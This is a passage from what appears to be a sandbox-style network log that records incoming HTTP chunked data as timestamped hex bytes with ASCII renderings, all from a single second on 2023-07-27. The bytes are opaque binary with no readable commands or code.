2000-KoG!Sf>3ns//ey]o&!\|)[%8t=~`193:]C0jn:3XdXu:YtB3T#("0`dJR^?EMPR\|9\|QLTO\|S_cy<Z- d\|i{
2023-07-27 16:27:35 UTC	856	IN	Data Raw: 7e ac 8c 28 4e 02 Data Ascii: ~(N
2023-07-27 16:27:35 UTC	856	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	856	IN	Data Raw: 32 30 30 30 0d 0a 70 ef 7c c4 22 bc 7a 56 e8 ff c3 52 fb 95 91 0d c7 ca ae 50 9a 25 20 7e 6c 3f 22 d5 88 92 fe 92 3a e1 41 68 45 8e 3e e7 e8 29 e1 06 a2 e7 58 33 33 b8 08 36 e6 d4 4f 36 5d 8e f6 c8 40 fd 14 06 ee ea c6 cd df 99 bb 66 c7 63 65 1c 9a 7d 22 bd d9 47 d6 cd 36 d0 e9 a0 eb f2 ca d2 8b 55 8a bc 13 61 6e 9c 85 3e d9 be 3a d2 67 06 d5 59 94 a8 01 b1 ba 97 30 de 27 14 b4 d0 57 6f d2 24 83 88 b9 ae d1 1a 92 5e 8f e6 a8 a8 46 c0 d0 3e e3 4c 78 37 97 f9 65 4a 14 0e fa 02 7e 23 e4 ae be bd 9a 7a 45 d6 11 f3 c7 59 af 54 e5 47 ee d4 99 a7 47 d8 2c ae 19 4a c1 ec e4 b0 13 3d 64 fe bf b9 da 08 2e fa fc e3 f4 7f d9 de 18 7d ca 5c ef 96 e6 b6 e7 59 3c 4e 4e 51 56 44 50 9a e2 a5 87 13 07 e9 02 99 5f 12 c5 aa c8 5a 05 49 5a 86 76 19 95 77 87 d0 e3 60 26 17 25 Data Ascii: 2000p\|"zVRP% ~l?":AhE>)X336O6]@fce}"G6Uan>:gY0'Wo$^F>Lx7eJ~#zEYTGG,J=d.}\Y<NNQVDP_ZIZvw`&%
2023-07-27 16:27:35 UTC	864	IN	Data Raw: 5f c8 0d eb 90 ae Data Ascii: _
2023-07-27 16:27:35 UTC	864	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	864	IN	Data Raw: 32 30 30 30 0d 0a d0 a3 bc 80 15 c3 39 26 07 6c 5e 5d a7 f6 b2 46 ae 94 3e 74 49 54 de 8e 57 ed aa d6 be 90 fd 83 e9 7a 5a 16 4b 36 ff 66 ca f0 d9 ac 16 c0 d6 61 12 71 c3 d5 17 57 53 04 6e 39 cd 62 da e3 e3 02 ab 98 2d a2 bb 42 06 a7 f6 41 32 16 be c8 68 f6 b0 cc aa 55 99 f9 b0 72 8d d8 e5 fe 59 09 bb 57 ce 51 dc f6 42 c5 5a ba 1b 44 a6 ec 78 ba 30 ed 2b 1f 6b 08 b3 6c bc be b2 47 c9 c1 5b 5a 90 29 58 1b 1c e1 7b 54 86 fa 83 de b8 0a f8 89 80 cc b3 fc c3 aa 8f 2f f8 3d 9d de 51 7f 34 25 0d e3 b9 ef 99 17 1c a9 14 6b ec d4 92 aa 9a f5 4b 73 90 75 7a 4a a1 e9 8d ba 3d 49 45 1a fd ff 37 1c 3a bc a5 c6 24 48 a9 c7 24 10 49 a3 eb 91 ee a3 ce 2d 52 78 a2 00 27 79 db a6 d4 f1 f2 1a f3 cb 99 78 04 3a fa 23 9f a7 c7 c8 41 57 fa bf 35 5b b0 61 b9 63 7f 35 d4 68 c3 Data Ascii: 20009&l^]F>tITWzZK6faqWSn9b-BA2hUrYWQBZDx0+klG[Z)X{T/=Q4%kKsuzJ=IE7:$H$I-Rx'yx:#AW5[ac5h
2023-07-27 16:27:35 UTC	872	IN	Data Raw: 83 92 89 de 46 2d Data Ascii: F-
2023-07-27 16:27:35 UTC	872	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	872	IN	Data Raw: 32 30 30 30 0d 0a 3d 55 f0 84 d6 d6 9f ac d4 77 82 db e9 c0 b5 6b a5 d7 00 46 c0 52 83 7c 52 eb bc 68 b9 f6 61 34 07 85 4e 55 c5 d6 30 2d bf 07 86 c7 c8 3d 22 ca 51 65 e4 af 0b 4a 7e 5e 0a 64 2c 04 78 f7 95 2d 6f 72 11 7c 1c b0 a9 c1 16 e8 49 f1 ae 4b 26 b9 3c 5c 23 b3 7c 57 04 20 8f 90 ff b0 51 c5 2a b9 2e d3 25 c7 8f a1 a9 fa cb 78 0f 21 c7 b5 9e 0b be 17 bb 3f 8d 88 58 59 48 08 9f b8 58 56 65 4e 11 d4 2a 38 6d ad c9 4f 19 99 71 13 12 a4 9e b0 aa fe f4 13 83 49 be 21 90 71 11 70 78 a2 65 48 06 b3 e7 7f 02 3a b0 92 5f 58 11 2a 66 30 3d 05 a1 14 ea 75 28 e5 03 cf 74 c9 a2 d8 52 f1 91 28 cc c8 06 4f 3c 2e a0 dd 9a 1c a6 d5 3d ee f4 02 b6 4a 0f b8 70 ec c6 58 8f a0 83 5b 6f 68 61 a7 59 e1 31 f3 45 01 46 2a aa 59 88 19 aa df 25 99 a4 b2 17 7b cc a4 e9 69 41 Data Ascii: 2000=UwkFR\|Rha4NU0-="QeJ~^d,x-or\|IK&<\#\|W Q.%x!?XYHXVeN8mOqI!qpxeH:_Xf0=u(tR(O<.=JpX[ohaY1EFY%{iA
2023-07-27 16:27:35 UTC	880	IN	Data Raw: 86 c0 9f 95 a9 ee Data Ascii:
2023-07-27 16:27:35 UTC	880	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	880	IN	Data Raw: 32 30 30 30 0d 0a cb 69 ef 61 f6 43 90 58 ab 40 6b fa 5b ca f6 83 1b a8 81 d6 1a ac 56 ee 21 52 23 ae 8d 04 dd 1e 22 bf 7e e9 1f cb b6 b2 d4 51 66 a2 d7 92 ee 3d af 79 e2 58 82 8d d7 73 66 fd d2 4f 89 ce 77 79 e5 d8 f6 ef 12 69 3f 62 eb 79 38 b1 38 a2 dd 5d 83 26 32 2e 8f 67 1a ce e6 28 08 96 8c 63 5d d9 28 00 b5 20 3c 25 3a dc f7 4e e2 78 e9 b8 08 e4 ed 62 5a 53 2a d7 42 d9 f5 4d 5d 8d 8b bc 42 51 bc 6f 77 b0 16 90 12 28 e6 37 0b 20 9d 1d 35 99 bb 86 b6 f2 7a e9 3e c6 c9 f4 74 fe 5e 53 96 01 5d bb 14 0a d5 a0 93 9e ac 9b 18 ea 96 9b 9d a4 7a 5f 3e ed 18 42 27 1c ab a4 66 b6 b7 28 bf 6e 3f 82 9e 43 18 92 8c a6 c2 a4 5a 89 e9 31 24 a1 72 ef a6 e1 77 df c7 e0 0a eb 5c 85 69 03 c4 cb f9 44 e8 a6 b3 a0 22 9b d2 d9 bf 78 f9 f7 ac e4 3e 49 d0 d1 09 04 1d c6 b5 Data Ascii: 2000iaCX@k[V!R#"~Qf=yXsfOwyi?by88]&2.g(c]( <%:NxbZS*BM]BQow(7 5z>t^S]z_>B'f(n?CZ1$rw\iD"x>I
2023-07-27 16:27:35 UTC	888	IN	Data Raw: da 77 e8 05 74 7e Data Ascii: wt~
2023-07-27 16:27:35 UTC	888	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	888	IN	Data Raw: 32 30 30 30 0d 0a 8a af 80 72 4f 73 65 1c 7b d4 b2 35 f1 28 7f 08 2c b3 a5 19 c8 16 60 e4 87 b9 3b 99 f5 68 af 1d 13 81 78 8b d9 02 e1 f2 85 68 e9 69 ac 25 fa 5e c8 43 9a 8d 4d ba 43 67 a9 90 ee 11 94 d4 bf 03 ee ea d7 f0 87 0b db 5b c7 a9 2b 76 12 e6 0b 53 f0 45 24 e9 e7 47 46 3a 9f c3 4b b2 ed be e2 9e 83 04 51 72 f3 f6 a6 56 f4 57 aa c9 2e e1 54 25 8a a8 ee 15 00 7a dc ae 7b 57 46 16 21 07 16 cc db c1 bd de c3 0f 1d db bd 15 31 11 29 b4 0e ff fd 44 4d fe 98 5d e4 bf d3 ae 24 fb d6 38 fe ac 22 7f 55 09 be 1e da 72 94 b6 15 d7 aa a8 a1 b7 79 43 f4 02 7b 0e c1 aa 94 7b 87 99 ba f5 22 23 5c 0f ab 19 77 b9 15 ef b5 f3 b0 e4 b2 3f 57 15 35 54 6a 26 d3 88 7f ae 3c 45 f1 75 17 ce 81 b5 1c 94 28 f8 19 d5 10 9a 95 8a fa 39 34 02 29 6f 21 cd 15 b6 bb af 24 84 f3 Data Ascii: 2000rOse{5(,`;hxhi%^CMCg[+vSE$GF:KQrVW.T%z{WF!1)DM]$8"UryC{{"#\w?W5Tj&<Eu(94)o!$
2023-07-27 16:27:35 UTC	896	IN	Data Raw: d9 12 86 2d f2 f4 Data Ascii: -
2023-07-27 16:27:35 UTC	896	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	896	IN	Data Raw: 31 66 66 38 0d 0a 92 9b e5 0f 57 fd b4 e2 7b a1 8b dd 51 49 75 b5 ca b0 2c 32 cd d8 7e 51 e0 32 5c fd 87 61 40 c4 48 05 87 a3 c9 9a 76 2a f4 75 e5 12 21 a9 8c 1a 85 88 22 04 74 3d e2 bb 6d 8c 7a 14 1f e7 0e 73 b2 4d 20 9a be 7c fb 0d 12 fb 48 51 14 a4 87 10 7b 46 51 a8 28 96 68 53 b9 a9 5d 04 aa ca b2 bd 5c 08 35 de 84 3f 33 6a 21 39 f7 fa d0 ed 41 11 f0 30 84 09 ca de 60 0e a0 fd c4 8e 07 fb 5f ba 46 b6 fa fe 9b eb df 23 31 15 5b 1a 3a 8d 5f e6 97 5b b4 b0 75 57 cc ab ce fb 65 70 bc 5f cc 12 17 5c bc 65 f0 56 63 67 99 c9 61 07 12 c6 28 10 cf 0c 8f f7 5e ec 97 11 65 9c 80 da cb 9b 8f 28 7e 56 e1 0a 97 25 8a 51 46 68 33 e4 ca 2a 47 6d 4d 66 76 0e 2b 9a c5 73 37 ac bb 96 49 57 ba b5 26 a0 69 01 f8 51 7c e8 b4 4b 4c 33 d0 ef a4 4d 8a a5 64 21 4c af 39 a9 4a Data Ascii: 1ff8W{QIu,2~Q2\a@Hvu!"t=mzsM \|HQ{FQ(hS]\5?3j!9A0`_F#1[:_[uWep_\eVcga(^e(~V%QFh3GmMfv+s7IW&iQ\|KL3Md!L9J
2023-07-27 16:27:35 UTC	904	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	904	IN	Data Raw: fb f0 7b 3e a5 83 94 58 e0 6c b1 a4 5e f1 6d 71 46 e0 c8 df 02 ab bb 55 41 63 34 48 bc 5b 8b f4 6a c4 fb b5 d1 57 99 57 12 b9 93 7e 60 6a 29 c4 ae 60 5d 58 8a cb 08 e1 92 2f 41 4d b2 96 57 d3 fb db 8f 78 61 76 8b 70 fd 92 64 0b e7 fa bf b9 31 2d 8b 07 bf 87 ff e9 21 9f bc 76 c9 c1 d6 f5 94 fd 73 b0 d2 ae 8f 9f fd 0d 7c a7 e0 61 81 10 22 2e cc 78 74 27 c8 1c 20 4f 02 3b ab 8d 6c 59 e4 e1 43 6b f0 cf 95 ec 91 3b 27 1c fc 4d 23 a8 f2 68 b2 0b d4 e0 07 4c e2 69 3e 60 72 b1 31 9b fe c5 02 c4 78 6a fe e3 e5 f2 78 61 f3 83 a8 ee 8b f3 a1 d4 95 d0 10 80 a7 d2 58 4e fc 8e 92 13 00 c8 a7 1d e7 59 e0 5f 03 9d 0e 8f 0e cf 82 f3 d3 85 d1 08 2d 47 6c 01 7c 28 79 81 47 43 e6 05 e0 0a d9 6b ab 11 e8 38 3c 6e f9 73 73 df 83 88 79 61 94 b2 30 d0 db 99 63 50 25 ad e3 d1 29 Data Ascii: {>Xl^mqFUAc4H[jWW~`j)`]X/AMWxavpd1-!vs\|a".xt' O;lYCk;'M#hLi>`r1xjxaXNY_-Gl\|(yGCk8<nssya0cP%)
2023-07-27 16:27:35 UTC	912	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	912	IN	Data Raw: 32 30 30 30 0d 0a 2d f1 49 53 e4 5b 69 82 a7 63 40 13 7d 40 4e ee b3 0a 16 b9 66 64 a4 ec 23 5b 25 82 28 c1 a6 bc c5 0c ba 70 49 cf 9b 2d 5f bb 9d 4d 55 c7 4a f5 1d 5b 4d 67 70 5a dc 72 40 02 cb 63 8c 3e c6 d9 75 b9 cc 94 20 fb c7 1c 4c 47 55 07 b2 62 da 60 45 0b 7a d1 b3 c5 4e 86 60 9f 0d 18 64 1e c0 79 08 86 e7 71 f2 f5 47 34 b4 8e 50 4a 0d 5c 01 4d 2e de a9 de 69 9f bd f0 49 ba af 86 e6 cc 2f 32 dc 80 42 d5 6d 57 4f 7a 9f e7 42 6d 8b 31 51 fd d7 9e 44 4a c7 f6 9a e6 6e 8c 00 80 27 f2 90 ec e9 0a 87 6b 0e 46 51 60 07 d2 ab e5 5c 34 a5 59 f8 bb 96 e7 b2 9d 51 b0 f8 13 cf 24 d9 ee 79 3e a4 21 fe e4 4f 61 cb e5 37 3c 09 13 46 1b f8 11 6f d3 de 01 30 e1 5b 01 f8 a8 4f e7 4a 2b 24 eb 0b 6a 9c c0 04 9e ff d5 c3 5f de 48 e4 ff f9 3b 15 ce 80 5c 29 9f 7e 59 86 Data Ascii: 2000-IS[ic@}@Nfd#[%(pI-_MUJ[MgpZr@c>u LGUb`EzN`dyqG4PJ\M.iI/2BmWOzBm1QDJn'kFQ`\4YQ$y>!Oa7<Fo0[OJ+$j_H;\)~Y
2023-07-27 16:27:35 UTC	920	IN	Data Raw: 00 cc 64 5b fa bd Data Ascii: d[
2023-07-27 16:27:35 UTC	920	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	920	IN	Data Raw: 32 30 30 30 0d 0a b1 de 14 38 5c 60 36 aa e5 e2 93 d7 f8 aa 78 d2 dd 27 d4 b3 9c 29 06 05 cb 34 81 96 10 ee 78 a2 11 26 e9 0d 7b ab db 3f 61 e8 98 93 1f 08 d6 ab 8f 79 79 ed dd 24 75 b2 a8 d9 d1 8e fa ca 8f 12 5e 55 fd 88 0f 84 5a 7c 8b ff 42 b6 bd c3 44 82 ad d6 2e 14 6a da 10 0f 99 ed a7 0e 21 f2 6f 3e 6b ea 05 c5 9c cc e0 45 ca cd 0f 13 9d ec 36 8f 36 e3 bc 48 e8 18 17 86 45 74 8c 06 66 03 fe 9a 08 ef dc 03 e0 6e a7 b0 ff e3 5b 37 ce da 38 4a 4e 09 93 fe f6 aa 5a 19 09 ed bf 1f 1f 80 49 ae f2 f0 0d 20 99 2c df ec c9 53 3f b4 a5 09 ca 06 bc 9f 57 27 b6 05 da 35 b2 68 86 85 9c 4b 49 9b 2b bf 81 61 57 fb 46 3d 4d 44 5a 94 fe 75 61 35 be ca 46 b2 83 01 2b b1 c9 98 7d 98 96 c2 65 83 66 79 ed c5 70 56 8b 32 05 87 a5 e7 5b 80 e0 b9 92 57 de e2 a7 ed d0 c7 7e Data Ascii: 20008\`6x')4x&{?ayy$u^UZ\|BD.j!o>kE66HEtfn[78JNZI ,S?W'5hKI+aWF=MDZua5F+}efypV2[W~
2023-07-27 16:27:35 UTC	928	IN	Data Raw: 02 77 e8 53 5a a9 Data Ascii: wSZ
2023-07-27 16:27:35 UTC	928	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	928	IN	Data Raw: 32 30 30 30 0d 0a 58 72 43 b8 02 6d 29 8e 41 0a dd e7 c5 49 9d 79 2e ef 57 3a 8d f0 d1 16 4e 4f e1 1f b3 13 f0 35 2a 60 79 c8 52 be 5c 85 7e b2 08 3a 82 5e 43 3a 62 4e 37 88 f9 17 39 28 c0 65 2a 2b d7 7a 15 18 0a d7 23 e5 00 6e 73 5f 0f 29 29 af e1 39 ef 4c 99 a5 e8 33 63 45 eb 34 69 bd b8 03 2b 54 79 c5 ba a8 d5 58 cc 1e 73 eb 9a 18 5e 39 bd 56 33 0c 01 01 eb 18 51 28 93 1a 6a 35 8d 97 a4 96 e9 68 b5 63 98 d5 8a 29 2d 18 8d c1 c2 68 1d b2 1a b6 f6 9d 24 14 c0 4e 58 29 c0 cd ea 47 7c 04 f1 4d a4 b6 95 62 4c cd 5d c5 8a 16 68 11 4e 05 48 36 7a 0c d1 08 ce 60 7d 6e 6c 5d 11 2f 48 e7 6d d2 7d 43 1f e5 d1 22 84 61 93 3a 74 2b a3 93 96 4b a3 dc 7e fa 99 9e 1d 91 e0 ed aa 1c 3d 6d 0b f2 b3 b3 c9 59 dd 1c 70 48 6c 6b f2 c0 f8 b2 85 b4 f1 65 bc df 47 42 c8 a8 a8 Data Ascii: 2000XrCm)AIy.W:NO5`yR\~:^C:bN79(e+z#ns_))9L3cE4i+TyXs^9V3Q(j5hc)-h$NX)G\|MbL]hNH6z`}nl]/Hm}C"a:t+K~=mYpHlkeGB
2023-07-27 16:27:35 UTC	936	IN	Data Raw: 01 8c 14 ca d4 a7 Data Ascii:
2023-07-27 16:27:35 UTC	936	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	936	IN	Data Raw: 32 30 30 30 0d 0a a9 fe 4f ad 5a b2 af 13 ad b0 81 09 15 5f e5 38 d3 a7 43 33 8d 76 12 1d 24 7b 0a 14 71 0b 24 14 d0 a3 8e 24 7d 4a d5 42 d6 3f 23 11 32 a4 76 fc e5 65 a2 ce 4c 2d 90 47 33 d1 df 3b 10 3f 5a c8 ed ea ce ba 11 18 53 4f 84 5c c3 4a 25 6e fe 8d a4 8d 79 a9 fe ba 91 7f 45 81 09 74 25 e5 72 5a 3b 37 87 eb 57 87 85 48 34 4c e2 36 00 5c e0 84 39 11 3a a1 ca f2 30 04 e9 11 32 28 3c 75 f5 79 09 8e 35 52 74 bd 1a c1 5d 11 7b 17 77 67 04 79 ad 21 25 5b 56 b9 a1 fa f3 97 31 7a 28 7a 4a ab be a4 2c 5e 24 ec 91 27 ae e1 e5 70 74 f7 5d 36 03 64 4f 58 71 11 3a c8 d8 1e 9d a3 e7 45 9b 2a a0 aa eb 9c e2 ca 5e 21 01 c1 f4 08 45 a1 cb f5 00 cc 25 cb 96 45 85 f0 80 23 ea 33 31 f5 f5 c3 99 70 0c fd d0 64 8e cb 42 97 78 5c 38 af 16 2f 49 f4 03 d9 7a f9 fe 3e d0 Data Ascii: 2000OZ_8C3v${q$$}JB?#2veL-G3;?ZSO\J%nyEt%rZ;7WH4L6\9:02(<uy5Rt]{wgy!%[V1z(zJ,^$'pt]6dOXq:E*^!E%E#31pdBx\8/Iz>
2023-07-27 16:27:35 UTC	944	IN	Data Raw: 02 e1 82 32 2e 8b Data Ascii: 2.
2023-07-27 16:27:35 UTC	944	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	944	IN	Data Raw: 32 30 30 30 0d 0a 26 e0 1c 8a 88 52 5d 4d 27 39 2f 53 19 83 f6 a4 ce 6f 3a c7 3e 9c d8 ab 4e ab d7 3b 5f 8d b6 dc 52 a2 02 f4 60 fa 75 5d 71 17 81 13 3c 90 5a cc 34 12 95 a2 ed 08 05 95 6e 7e df 69 47 cb 81 0a 19 fc f6 55 55 95 2b cf 11 19 1e 13 52 b3 27 f3 c4 73 74 40 ab a2 e3 e4 f4 e9 f6 33 9b ff 98 b8 5a c3 3d 27 41 b8 e4 af 4e 4d 89 94 4d 50 e9 dc 80 85 1e 3b 75 a1 2e d7 96 d4 91 52 e2 b1 71 8a 34 77 b4 75 0b 48 ea 44 10 c1 f2 28 08 bc e0 cb ac e5 df e6 ef ea 2d 66 37 81 d0 d8 d1 f7 e0 d0 b9 ab f8 39 b7 a3 f3 6b ae 52 08 9c b2 b0 75 ca 06 20 5e f3 fd 91 18 27 ab be fc 21 39 96 86 72 ed 1c 68 17 bb ab 00 6f 93 54 c0 4e 18 51 6f ab 3b 9f 10 fb d1 66 cf a9 22 0c c5 a0 bb 29 5a a7 78 80 ab 0a 2d 8a ce 0d e0 4f 75 8b c8 ab ac 49 b7 87 a1 e9 39 c9 d6 23 7a Data Ascii: 2000&R]M'9/So:>N;_R`u]q<Z4n~iGUU+R'st@3Z='ANMMP;u.Rq4wuHD(-f79kRu ^'!9rhoTNQo;f")Zx-OuI9#z
2023-07-27 16:27:35 UTC	952	IN	Data Raw: 08 4e aa fe 75 70 Data Ascii: Nup
2023-07-27 16:27:35 UTC	952	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	952	IN	Data Raw: 32 30 30 30 0d 0a f9 30 a6 1b 33 b3 c0 a4 fb 7e e0 be f2 21 e7 a5 dc 39 75 f5 0d 02 b0 63 a4 72 bf 91 97 08 28 71 bb f7 2e 83 64 cd a8 e7 8a c0 90 80 ac 39 18 91 53 8c 4e 6e 5c 1f a7 54 9e 1d fb 59 74 f0 99 51 ea 0d 20 6a 74 80 95 87 23 a5 e9 7e 74 29 54 ec 9f 8f 84 cb 55 51 49 e0 9a a7 ef 1b 64 f8 8e 2b 34 c0 f7 75 de 9e f4 51 d4 77 2c f3 a9 96 0b 9a b6 c8 ff fc 97 7b ed f7 ad 11 f8 dd de 26 a5 c9 9b 9c 14 06 8e 04 bf c8 f0 55 64 81 da 12 e2 e0 60 89 71 02 8c e7 a0 6a c6 cc 7f 69 27 87 98 ea 30 f8 ab 62 a0 72 f1 4d 43 dc c9 77 c8 36 48 f8 c1 5c ed e1 81 85 c5 75 8e dc c2 c8 72 6a 2e 37 ae 0c ee 80 22 e7 b2 a7 65 ac 07 d5 61 94 a2 f9 ab f7 ed 0a 12 66 ac d2 4a 4b 3e e5 ee 31 fc 57 79 6c cc 61 39 8a c6 9f 25 67 9a 14 bc 5f 64 b6 f8 54 d0 c0 de 79 db 74 73 Data Ascii: 200003~!9ucr(q.d9SNn\TYtQ jt#~t)TUQId+4uQw,{&Ud`qji'0brMCw6H\urj.7"eafJK>1Wyla9%g_dTyts
2023-07-27 16:27:35 UTC	960	IN	Data Raw: 1b 01 04 80 c9 5f Data Ascii: _
2023-07-27 16:27:35 UTC	960	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	960	IN	Data Raw: 31 66 66 38 0d 0a 48 d5 5e 58 cb ad 7c 63 5b ab ec 48 a2 9d 8f 8e 17 79 8d d9 ac ec c4 79 5d 71 17 31 c0 79 2f 84 73 96 29 ac e1 a6 60 d5 39 fa 29 3d f0 d1 fa 30 da 43 51 4c b6 91 6d 79 de 1e de d5 30 71 94 bb 60 2d 72 c6 ba 7f d2 ec d8 cf 04 32 40 56 fd 24 4a 11 92 4b 3b 8d 86 e7 d6 df 0b d4 e0 98 c3 3a 1a e8 a9 cd 21 64 79 b9 9c ce 4a d1 af e4 af 81 20 1a a1 05 a6 da fc d4 69 22 7a d0 fb fc 5b 4f ee 12 aa 22 ba ab 82 33 19 be c7 7a 0b e2 74 fb 84 1e 93 08 07 5d 45 1d 4c 23 ba fe 2c 1e 85 34 6d 64 03 18 76 0e b2 c5 cc 4e 89 2b 80 a0 83 20 fc 14 2d 03 81 08 2a 48 f5 ef 43 e8 d8 a2 24 8b 96 e4 6f 69 5e 36 64 ab 4a 2e 16 f5 7c 89 61 fe 3a 16 0c 01 95 11 c6 54 d2 da e9 14 36 35 09 8c b2 52 f7 5d 1b 49 9f 4e a3 57 21 cc 1b 9b b7 8d 7f 7e 00 2e df ea a7 14 5f Data Ascii: 1ff8H^X\|c[Hyy]q1y/s)`9)=0CQLmy0q`-r2@V$JK;:!dyJ i"z[O"3zt]EL#,4mdvN+ -*HC$oi^6dJ.\|a:T65R]INW!~._
2023-07-27 16:27:35 UTC	968	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	968	IN	Data Raw: b7 1b 72 d0 d8 43 d3 a9 33 03 3d 17 0b 3d 4d 22 e8 30 f2 f8 69 ca e7 45 db dc d8 34 fc 85 11 5e 1c 79 f4 49 81 50 1b ed c1 69 b5 4e 97 67 29 5d 46 37 c5 1f 3c e3 4f 32 5c eb 9b 01 f2 3a bb 36 4d 87 8a 06 73 78 33 3d e8 2c b3 50 47 ba 76 2d b5 56 79 1d 83 b6 d7 26 fa 59 02 70 23 23 67 85 dc ab dc a2 23 d9 6b a2 98 94 27 a3 9c ff 7a 88 73 e7 25 92 0a 8f 9c da d4 ee 27 99 8c da 0d 4c ec 87 3e e8 be 9e 59 8d 48 75 1f a3 e5 97 5f 1a 6c 9f 50 77 50 6f 77 b4 5d de 63 f9 b0 10 4a e9 75 f6 b4 37 73 9d 8b 77 70 ac 90 2f f3 4e 4d d3 95 d0 57 f7 cd a1 34 8c d1 16 ba 10 5e 9b 97 58 56 fa 8b 28 a9 03 61 d5 7e 48 64 76 ac 7d c5 2a ca b9 49 c9 89 01 c7 50 db 3d 1a 56 d4 14 7b 8c 57 2d 7b d5 3b 43 e6 96 9a 38 dc d0 44 21 53 f5 6d 24 d8 02 1b da 38 ec 23 86 89 01 0d 0d 0c Data Ascii: rC3==M"0iE4^yIPiNg)]F7<O2\:6Msx3=,PGv-Vy&Yp##g#k'zs%'L>YHu_lPwPow]cJu7swp/NMW4^XV(a~Hdv}*IP=V{W-{;C8D!Sm$8#
2023-07-27 16:27:35 UTC	976	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	976	IN	Data Raw: 32 30 30 30 0d 0a 5c 5b 46 ba 5c a0 cb 59 01 53 f3 25 e1 97 22 35 66 48 43 5b 7c 3b 90 83 07 9d 57 eb 78 d6 98 11 2b 9c c1 0d 9f c9 99 79 05 2f d0 31 72 2e 11 66 f8 01 50 3c 32 54 2d 07 26 e7 c0 7e fc 34 29 e8 05 f8 3c 8d 01 91 cc d9 65 47 f2 92 18 c3 40 85 6f f6 c0 7c 27 1f 46 4e a5 b6 38 02 a7 61 17 12 f9 fe be 27 c9 37 d3 87 52 93 3b 73 ea 95 fe c7 3f 51 a2 e9 e5 cc eb 4b ce fa b3 38 2e 8a b6 2e 50 d1 da 96 b8 9d 2d eb 8d 4f 91 ef 6a b8 51 42 4b 1f c0 1e 51 0e f0 61 2a 33 87 d4 2b 55 7f b1 b5 88 85 61 d6 ba f1 94 09 7d 3c 4d 0c 2b cd fa c9 ae 10 0a 6e b7 24 e0 3f af 3c ab ab ee 0b 57 82 33 6f 06 69 e9 df 19 b0 1d 41 5f 74 27 76 d2 f6 34 a7 cc 0b 8f 0a 2d 4f a0 1a 6e 7a 5b 10 8f 1a f2 66 7b 89 28 70 10 ed 9b 0f 0a 14 a8 9c 3f 2e 8b e9 dc a5 75 d1 60 a2 Data Ascii: 2000\[F\YS%"5fHC[\|;Wx+y/1r.fP<2T-&~4)<eG@o\|'FN8a'7R;s?QK8..P-OjQBKQa*3+Ua}<M+n$?<W3oiA_t'v4-Onz[f{(p?.u`
2023-07-27 16:27:35 UTC	984	IN	Data Raw: fa a3 ac b7 60 66 Data Ascii: `f
2023-07-27 16:27:35 UTC	984	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	984	IN	Data Raw: 32 30 30 30 0d 0a 42 b4 b6 ae a9 23 14 2b 55 2a d5 17 68 93 df e4 a0 bc a0 d8 29 de db 35 fe 2d 21 c0 f8 90 dc 83 b2 a7 f2 54 6f 11 7a 7f f2 d1 ef 17 aa a2 b4 4e 49 30 8d f5 90 c8 5c 55 cc 24 9b a1 db 02 53 b3 c3 69 f2 2b 62 f5 e6 d4 30 c8 6a 87 9b 45 52 64 2b c9 69 15 a4 f2 09 a6 e4 c8 78 6b d9 96 aa d4 79 9b 30 90 5a 9f 66 ff 47 30 86 dc 50 e5 6a 00 fa 67 fd c5 7b 07 2e 2f a3 c8 98 e7 15 5c ee 1c 16 0f a9 4a b6 51 46 9b d0 57 3e 12 99 9a 8e 81 dd df 90 fa c1 84 12 24 69 7b 66 96 d7 b4 12 43 29 6f f4 40 75 57 30 8e d8 92 a9 3b ae c0 d9 99 67 6a d4 3b 4a 31 2d e8 df 59 1e 7b e3 30 a5 7c 89 0a 3b 43 8d 60 1a 88 79 d6 58 4c 67 54 d4 f8 8f 34 1f e7 ab 53 0c 34 cd ac 34 6d 8b 19 08 cf 0b 4e 0c 82 e5 04 a4 5a c9 ed 85 36 ce db 8a b5 e8 48 b7 20 b6 bf 94 94 23 Data Ascii: 2000B#+U*h)5-!TozNI0\U$Si+b0jERd+ixky0ZfG0Pjg{./\JQFW>$i{fC)o@uW0;gj;J1-Y{0\|;C`yXLgT4S44mNZ6H #
2023-07-27 16:27:35 UTC	992	IN	Data Raw: 6a a3 8f 8b a7 69 Data Ascii: ji
2023-07-27 16:27:35 UTC	992	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	992	IN	Data Raw: 32 30 30 30 0d 0a a9 d3 a2 13 a7 ca 33 a8 bc 25 e0 aa 7b ef b2 68 0b 61 1b 33 e5 fc cf 20 c6 21 f5 2c 50 a5 c6 8f 9a 68 5d b6 8e 84 c8 98 13 6a 9a e5 2b a7 dc 7c 7b 9f 12 e1 0e 73 52 ac 99 9c 24 8c 5e d0 41 35 ed cc ee a3 87 e7 92 70 d1 b7 ed 27 31 42 ef c6 09 3b fa 4a 34 a6 57 45 b4 48 53 b1 88 10 e6 ff d9 d0 92 93 97 ef 57 15 1b fd e3 90 f3 ca 34 45 07 0d eb 08 c7 3f bb d3 38 6d a2 bc 8d f0 82 09 49 2c 9f 8d b3 28 96 30 ad 7a 1c 88 63 27 d3 dd b5 10 46 52 47 88 7d 74 bb ed 3b 4c 15 89 41 b1 4d 08 07 74 f9 0d e1 a6 21 17 3e a7 36 c3 f8 79 83 a2 34 1b 64 38 d4 b4 ed 1a 6d fa a6 48 66 b1 0c 1b 24 70 e3 ef 13 00 54 0b e9 9b 87 52 60 11 1c d2 8b 26 